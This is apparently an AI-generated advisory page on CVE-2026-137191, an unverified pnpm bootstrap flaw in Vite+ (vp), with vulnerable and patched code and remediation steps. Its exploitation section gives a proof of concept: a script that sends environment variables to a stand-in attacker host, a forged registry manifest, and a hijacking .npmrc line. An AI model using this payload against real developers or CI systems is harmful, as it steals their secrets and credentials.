CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-137191

CVE-2026-137191: Arbitrary Code Execution via Unverified Package Manager Bootstrap in Vite+ (vp)

Alon Barad
Alon Barad
Software Engineer

Dec 1, 2026·9 min read·1 visit

Executive Summary (TL;DR)

Vite+ (0.2.9 to 1.5.0) trusts the local project's .npmrc registry and its self-reported SHA-512 hash when bootstrapping its internal pnpm runtime, enabling arbitrary code execution via malicious repositories upon running commands like vp --help or vp install.

Vite+ (vp) versions 0.2.9 through 1.5.0 contain an integrity verification flaw (CWE-494) in the internal package manager bootstrap mechanism. When initializing in an environment where the pinned pnpm distribution is not cached, the runtime queries the registry specified in the local workspace's .npmrc file and validates the downloaded tarball exclusively against the self-reported integrity digest provided by that same registry. An attacker who supplies a repository with a malicious .npmrc pointing to an attacker-controlled registry can achieve arbitrary code execution when a developer or CI runner invokes basic vp commands.

Vulnerability Overview

Vite+ (vp) is a unified web development toolchain developed by VoidZero. Implemented as a native Rust binary encompassing crates such as vp_global_cli, vp_setup, and vp_pm_cli, it wraps frontend tooling including Vite, Rolldown, tsdown, and Vitest. To ensure consistent package management across different host operating systems, Vite+ internally manages and bootstraps pinned versions of package managers—primarily pnpm version 10.34.7—within a dedicated global data directory.

In Vite+ versions 0.2.9 through 1.5.0, the bootstrap sequence for this internal pnpm instance fails to enforce an immutable trust anchor during download and verification. When vp executes in an environment where the pinned pnpm release is not yet present in the local cache, it invokes the bootstrap_pnpm routine to retrieve the package manager distribution from an npm registry.

During this initialization phase, the configuration loader parses .npmrc files from the current working directory prior to bootstrapping the core runtime. If a local project defines a custom registry endpoint in its .npmrc, bootstrap_pnpm fetches both the package metadata and the distribution tarball from that untrusted registry.

Crucially, bootstrap_pnpm validates the downloaded tarball against the dist.integrity field contained within the JSON metadata returned by the queried registry, rather than against a cryptographic digest hardcoded into the vp binary. This self-referential verification constitutes an intersection of CWE-494 (Download of Code Without Integrity Check) and CWE-829 (Inclusion of Functionality from Untrusted Control Sphere). Any invocation of vp inside a cloned repository—including passive operations such as vp --help or vp --version on a fresh machine or ephemeral CI runner—triggers immediate execution of attacker-supplied code.

Root Cause Analysis

The root cause of CVE-2026-137191 resides in the interaction between hierarchical configuration resolution in crates/vp_pm_cli/src/config.rs and package manager acquisition in crates/vp_pm_cli/src/package_manager/bootstrap.rs. When a user runs a command through vp, the setup subsystem (crates/vp_setup/src/install.rs) calls prepare_install_runtime to ensure that the pinned pnpm executable is available before delegating workspace operations.

To determine where to download pnpm, the runtime invokes NpmConfig::load(). Following standard npm configuration precedence, NpmConfig::load() merges global settings, user settings, and the workspace-level .npmrc located in the current working directory. While honoring a project-specific .npmrc is expected behavior when resolving project dependencies, applying untrusted project configuration to the bootstrapping of the core toolchain runtime violates privilege separation boundaries.

Once the registry URL is loaded from .npmrc, bootstrap_pnpm sends an HTTP GET request to <registry>/pnpm/<version> to retrieve the package manifest (Metadata). The function checks that metadata.name equals "pnpm", metadata.version matches the requested version string, and metadata.dist.integrity is non-empty. It then invokes download_package_manager_inner, passing Some(&metadata.dist.integrity) as the expected Subresource Integrity (SRI) checksum and Some(&metadata.dist.tarball) as the download URL.

Because the attacker controls the registry server specified in .npmrc, they control both the tarball binary stream and the JSON metadata response. The attacker computes a valid SHA-512 hash over their malicious pnpm-10.34.7.tgz archive and includes it in the dist.integrity field. When download_package_manager_inner computes the SHA-512 digest of the downloaded bytes and compares it against the expected parameter, the verification succeeds. The archive is subsequently extracted to <DATA>/package_manager/pnpm/<version>/pnpm, and vp immediately spawns the internal Node.js runtime to execute bin/pnpm.cjs.

Code Analysis

Prior to version 1.5.1, the vulnerable implementation in crates/vp_pm_cli/src/package_manager/bootstrap.rs accepted only a version and an optional registry override, relying entirely on external network metadata for integrity verification:

// VULNERABLE CODE: crates/vp_pm_cli/src/package_manager/bootstrap.rs
pub async fn bootstrap_pnpm(
    version: &str,
    registry: Option<&str>,
) -> Result<AbsolutePathBuf, Error> {
    // Loads configuration including local workspace .npmrc
    let mut config = NpmConfig::load()?;
    if let Some(reg) = registry {
        config.registry = reg.to_string();
    }
 
    // Fetches metadata from the potentially untrusted registry
    let metadata: Metadata = HttpClient::with_npm_config(3, 500, config.clone())
        .get_json(&config.package_version_url("pnpm", version))
        .await?;
 
    if metadata.name != "pnpm" || metadata.version != version || metadata.dist.integrity.is_empty() {
        return Err(Error::InvalidArgument("Registry returned an unexpected pnpm package".into()));
    }
 
    // FLAW: Passes the untrusted registry's own metadata.dist.integrity as the verification anchor
    let (install, _, _) = download_package_manager_inner(
        None,
        PackageManagerType::Pnpm,
        version,
        Some(&metadata.dist.integrity),
        &config,
        Some(&metadata.dist.tarball),
    )
    .await?;
 
    Ok(install)
}

Commit a1109777d5330fc1a818c5b23d131c3b8a2362bc (Pull Request #3400) remediates this vulnerability through four primary architectural changes. First, crates/vp_setup/src/install.rs defines an immutable, compile-time SHA-512 SRI digest for the pinned pnpm version and passes it directly into the bootstrap function:

// PATCHED CODE: crates/vp_setup/src/install.rs
const PINNED_PNPM_VERSION: &str = "10.34.7";
const PINNED_PNPM_INTEGRITY: &str = "sha512.ba98abc585539933375b5971f4bc6d6c73a1b4b7edc4a879e7d102fe5423d1e02309d67c60a11f04955093a96e521ad9c3b138cdd654ca5be563f378b3ae48bd";

In bootstrap_pnpm, the function no longer trusts metadata.dist.integrity when bootstrapping the pinned runtime. Instead, it enforces verification against PINNED_PNPM_INTEGRITY. Even if a local .npmrc redirects traffic to a mirror or custom registry, any modification to the tarball results in a cryptographic digest mismatch and terminates execution before extraction.

Second, the patch overhauls cache storage to prevent cache poisoning across projects. Previously, package managers were extracted into predictable flat directories (<DATA>/package_manager/<name>/<version>/). The patch introduces a content-addressed namespace under .verified-v1:

<DATA>/package_manager/<name>/.verified-v1/<version>/<content_key>/<name>

Here, <content_key> is a 32-character SHA-256 fingerprint derived from the expected integrity pin (and, for native platform binaries like Bun or native pnpm 12+, an opaque origin_fingerprint of the registry URL). A cached installation is only resolved if its <content_key> matches the caller's required cryptographic pin.

Third, the archive extraction routine extract_tgz in crates/vp_pm_cli/src/request.rs was hardened to strip symbolic and hard links during unpacking, while staging installations inside a temporary directory (tempfile::tempdir_in(manager_dir)) protected by an exclusive file lock ({version}.lock):

// PATCHED CODE: crates/vp_pm_cli/src/request.rs
for entry in archive.entries()? {
    let mut entry = entry?;
    let entry_type = entry.header().entry_type();
    // Prevent symlink/hardlink traversal and cache overwrite attacks
    if entry_type.is_symlink() || entry_type.is_hard_link() {
        tracing::debug!("Skip link entry {:?}", entry.path()?);
    } else if entry_type.is_dir() {
        directories.push(entry);
    } else {
        entry.unpack_in(&target_dir)?;
    }
}

This multi-layered fix completely closes the self-referential integrity flaw, isolates cached binaries by cryptographic identity, and eliminates tar symlink traversal vectors.

Exploitation

Exploiting CVE-2026-137191 requires an attacker to induce a developer or automated CI/CD system running Vite+ (>= 0.2.9, < 1.5.1) to execute a vp CLI command inside an untrusted repository directory. A key prerequisite is that the target environment must not already have the pinned pnpm version (10.34.7) cached in <DATA>/package_manager/pnpm/10.34.7/. This prerequisite is routinely satisfied on freshly provisioned developer workstations, containerized build environments, and ephemeral CI runners (such as GitHub Actions or GitLab CI workers).

To prepare the exploit, the attacker creates a malicious tarball (pnpm-10.34.7.tgz) structured as a minimal npm package containing package/package.json and an executable script at package/bin/pnpm.cjs:

#!/usr/bin/env node
const { execSync } = require('child_process');
 
// Execute arbitrary commands or exfiltrate CI secrets and environment variables
fetch('https://registry.attacker.example/exfil', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    env: process.env,
    cwd: process.cwd(),
    id: execSync('id').toString().trim()
  })
});

The attacker calculates the SHA-512 SRI hash of pnpm-10.34.7.tgz (e.g., sha512-<BASE64_DIGEST>) and configures an HTTP server at https://registry.attacker.example to respond to requests for /pnpm/10.34.7 with the following JSON payload:

{
  "name": "pnpm",
  "version": "10.34.7",
  "dist": {
    "tarball": "https://registry.attacker.example/pnpm/-/pnpm-10.34.7.tgz",
    "integrity": "sha512-<BASE64_DIGEST>"
  }
}

Next, the attacker commits an .npmrc file to the root of a repository:

registry=https://registry.attacker.example/

When a victim clones the repository and runs any command that triggers runtime setup—even read-only commands like vp --help, vp --version, or vp install—Vite+ reads .npmrc, downloads the counterfeit pnpm-10.34.7.tgz, verifies its hash against the attacker's JSON response, extracts it to the local user data folder, and executes bin/pnpm.cjs. Because this occurs during the pre-execution bootstrap phase of the package manager itself, it bypasses all downstream npm/pnpm lifecycle script restrictions, such as ignore-scripts=true, pnpm approve-builds, or onlyBuiltDependencies.

Impact Assessment

CVE-2026-137191 carries a CVSS v3.1 base score of 7.8 (High) with the vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. The Local (AV:L) and User Interaction Required (UI:R) metrics reflect that an attacker must deliver a malicious repository or directory structure and rely on a user or automated pipeline script to invoke vp within that directory. Attack complexity is Low (AC:L) and requires no privileges (PR:N), as .npmrc configuration files are automatically parsed by default without user prompts.

Successful exploitation grants the attacker arbitrary code execution within the security context of the user or service account invoking vp, resulting in High impact across Confidentiality (C:H), Integrity (I:H), and Availability (A:H). On a developer workstation, an attacker gains full access to local source code, SSH keys, cloud provider credentials (e.g., ~/.aws/credentials), and browser session tokens.

In CI/CD pipeline environments, the impact is particularly acute. Ephemeral runners almost never start with pre-warmed Vite+ global data directories unless explicitly configured with custom cache actions, meaning bootstrap_pnpm is guaranteed to run on the first invocation of vp. Furthermore, developers frequently configure CI workflows to run validation commands on pull requests from external forks. Executing vp inside an untrusted checkout compromises the CI runner, exposing repository deployment tokens, signing keys, and artifact publishing credentials.

Additionally, on persistent machines where the cache is preserved across runs, the vulnerability allows persistent local poisoning. Once the malicious bin/pnpm.cjs is extracted into ~/.vite-plus/package_manager/pnpm/10.34.7/pnpm/, every subsequent invocation of vp across completely unrelated, trusted projects on the same host will continue to execute the attacker's backdoored package manager binary.

Remediation

Users and administrators must upgrade Vite+ (vp) to version 1.5.1 or later, which incorporates commit a1109777d5330fc1a818c5b23d131c3b8a2362bc. In version 1.5.1, the internal bootstrap process pins the expected SHA-512 digest (PINNED_PNPM_INTEGRITY) directly within the compiled binary and isolates verified package manager installations under the .verified-v1 directory structure.

To upgrade an existing installation, run the built-in upgrade command or update the global npm package:

# Using the native Vite+ self-updater
vp upgrade
 
# Or via npm / pnpm global installation
npm install -g vite-plus@1.5.1
pnpm add -g vite-plus@1.5.1

> [!NOTE] > Upgrading to 1.5.1 automatically migrates verified package manager resolution to <DATA>/package_manager/<name>/.verified-v1/. However, security teams that ran vulnerable versions against untrusted repositories should inspect and purge legacy cache directories (~/.vite-plus/package_manager/ on Linux/macOS or %LOCALAPPDATA%\vite-plus\package_manager\ on Windows) to ensure no unverified binaries remain on disk.

Where immediate upgrading is not possible, organizations should implement defensive controls before executing vp in untrusted workspaces:

  1. Pre-seed the Package Manager Cache: Run vp --version or vp install inside a known-clean, empty directory using the default official npm registry (https://registry.npmjs.org/) prior to cloning or entering untrusted repositories. Once the legitimate pnpm binary is cached on disk, bootstrap_pnpm will not query the workspace .npmrc registry.
  2. Audit .npmrc Files in CI/CD: Add a pre-build check in CI pipelines to reject or alert on pull requests that introduce or modify registry= directives in .npmrc files unless they match an explicitly allowlisted internal artifact mirror.

Official Patches

VoidZeroGitHub Security Advisory GHSA-5qr3-w62x-jmwx
VoidZeroPull Request #3400 implementing hardcoded integrity verification and cache hardening
VoidZeroVite+ v1.5.1 Official Release

Fix Analysis (1)

Technical Appendix

CVSS Score
7.8/ 10
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Systems

voidzero-dev/vite-plus (vp) >= 0.2.9, < 1.5.1

Affected Versions Detail

Product
Affected Versions
Fixed Version
vite-plus
voidzero-dev
>= 0.2.9, < 1.5.11.5.1
AttributeDetail
CVE / GHSA IDCVE-2026-137191 / GHSA-5qr3-w62x-jmwx
Root Cause CWECWE-494 (Download of Code Without Integrity Check) & CWE-829
CVSS v3.1 Score7.8 High (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Affected VersionsVite+ (vp) >= 0.2.9, < 1.5.1
Patched Version1.5.1 (Commit a1109777d5330fc1a818c5b23d131c3b8a2362bc)
Attack VectorLocal repository with malicious .npmrc pointing to attacker-controlled registry
ImpactArbitrary Code Execution via unverified pnpm bootstrap tarball (bin/pnpm.cjs)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1195.001Supply Chain Compromise: Compromise Software Dependencies and Development Tools
Initial Access
T1204.002User Execution: Malicious File
Execution
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1565.001Data Manipulation: Stored Data Manipulation
Impact
CWE-494
Download of Code Without Integrity Check

The product downloads source code or an executable from an external site and executes it without sufficiently verifying that the code has not been modified or that it originates from a trusted party.

Vulnerability Timeline

Preliminary dependency updates and preparations in repository
2026-11-04
Security patch committed (a1109777d5330fc1a818c5b23d131c3b8a2362bc) via PR #3400 and released in Vite+ v1.5.1
2026-11-09
CVE-2026-137191 and GitHub Security Advisory GHSA-5qr3-w62x-jmwx officially published
2026-11-30

References & Sources

  • [1]GitHub Security Advisory: GHSA-5qr3-w62x-jmwx
  • [2]GitHub Pull Request #3400: Security fix for package manager bootstrap
  • [3]Patch Commit a1109777d5330fc1a818c5b23d131c3b8a2362bc
  • [4]Vite+ Release v1.5.1
  • [5]NVD Entry for CVE-2026-137191
  • [6]CVE.org Record: CVE-2026-137191
  • [7]OSV.dev Vulnerability Database: GHSA-5qr3-w62x-jmwx
  • [8]CVEListV5 Official JSON Record: CVE-2026-137191
  • [9]Wiz Vulnerability Database: CVE-2026-137191

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-137190
7.0

CVE-2026-137190: Shell Command Injection in Vite+ Global CLI via Unvalidated Registry Version String

A local OS command injection and dynamic code evaluation vulnerability (CWE-78 / CWE-95) exists in the Vite+ global command-line interface (vp) across versions 0.3.3 through 1.5.0. When resolving package manager dist-tags such as 'latest' with the '--no-install' flag enabled, Vite+ queries the npm registry defined in the local workspace's '.npmrc' file and returns the raw version string without semantic version validation. Because this unvalidated string is interpolated directly into shell environment export statements evaluated by the user's shell wrapper, an attacker controlling the registry can inject shell metacharacters to achieve arbitrary command execution in the developer's local terminal context.

Alon Barad
Alon Barad
4 views•10 min read
•about 3 hours ago•CVE-2026-137196
6.3

CVE-2026-137196: Synchronous Event-Loop Denial of Service via Unbounded Ignore Pattern Expansion in node-glob

CVE-2026-137196 (also tracked as GHSA-qxr8-q827-836c) is an asymmetric resource consumption and denial-of-service vulnerability affecting the npm package glob (node-glob) in versions 13.0.5 through 14.0.5. When processing primary search patterns, node-glob relies on the minimatch engine with a default safeguard parameter (braceExpandMax: 10_000) to prevent combinatorial explosions during shell brace and directory traversal expansion. However, the Ignore class in src/ignore.ts instantiated its internal minimatch options with optimizationLevel: 2 while omitting the braceExpandMax configuration property. Consequently, applications that pass untrusted input into the ignore option allow attackers to trigger unbounded pattern expansion and quadratic O(n^2) preprocessing loops inside secondPhasePreProcess(), leading to single-threaded Node.js event-loop starvation.

Alon Barad
Alon Barad
6 views•10 min read
•about 4 hours ago•GHSA-R48V-R4VW-H9V8
5.5

GHSA-r48v-r4vw-h9v8: Arbitrary Build-Host File Disclosure via Path Traversal in Hugo Vendored Module Metadata

Hugo versions prior to 0.170.0 contain a path traversal and improper symlink resolution vulnerability in the module resolution and vendoring subsystem. By supplying relative traversal sequences in `_vendor/modules.txt` or crafting symbolic links within vendored directory hierarchies, an untrusted third-party theme or Hugo module can bind its module root to an arbitrary directory on the build host. During site compilation, template functions such as `readFile` can access and render sensitive files from the host filesystem into the generated static output.

Alon Barad
Alon Barad
5 views•9 min read
•about 5 hours ago•GHSA-4WHP-JX7J-XVRM
5.1

GHSA-4whp-jx7j-xvrm: Stored Cross-Site Scripting in Hugo Syntax Highlighter via wrapperClass

A stored Cross-Site Scripting (XSS) vulnerability in the Hugo static site generator (versions 0.140.2 prior to 0.170.0) allows content authors to inject arbitrary HTML and JavaScript into generated pages. The flaw resides in the syntax highlighting component (`markup/highlight/highlight.go`), where the `wrapperClass` option is concatenated directly into an HTML `<div class="...">` attribute without HTML entity escaping. Because shortcodes and code fence attributes bypass Goldmark's raw HTML sanitization rules, untrusted contributors in multi-author workflows can achieve client-side script execution in the browsers of site visitors.

Alon Barad
Alon Barad
4 views•9 min read
•about 7 hours ago•CVE-2026-139994
4.7

CVE-2026-139994: Cross-Site Scripting via Context-Mismatched HTML Escaping in React Router RSC Streaming Redirects

CVE-2026-139994 (GHSA-mjj8-rxh9-q8f5) is a Cross-Site Scripting (XSS) vulnerability in React Router affecting versions 7.11.0 through 7.18.3 and 8.0.0 through 8.3.1. The flaw resides in the server-side streaming handler for the unstable React Server Components (RSC) Data mode and RSC Framework mode. When a server-side redirect is triggered during an HTML stream, the framework injects an inline <meta http-equiv="refresh"> element into the response stream. Because the redirect destination URL is sanitized using an HTML body escaping utility (escapeHtml) rather than an attribute-specific encoding function, double-quote characters (") are left unescaped. An attacker who can influence the redirect URL can break out of the content attribute context, inject arbitrary attributes or HTML elements, and execute arbitrary JavaScript within the victim's browser session.

Alon Barad
Alon Barad
8 views•11 min read
•about 8 hours ago•CVE-2026-139996
7.4

CVE-2026-139996: Prototype Pollution in React Router via Vendored turbo-stream Deserializer

CVE-2026-139996 is a prototype pollution vulnerability (CWE-1321) in React Router's vendored turbo-stream deserializer, utilized in Framework mode for single-fetch transitions and client-server hydration. When unflattening serialized streams, the decoder assigns object properties using direct bracket notation (object[key] = value) rather than defining own properties via Object.defineProperty. Furthermore, the deserializer lacks integer and bounds validation on stream reference indices. An attacker capable of supplying crafted turbo-stream payloads to the deserializer can pollute Object.prototype or trigger arbitrary index dereferences, compromising application integrity and confidentiality.

Amit Schendel
Amit Schendel
6 views•9 min read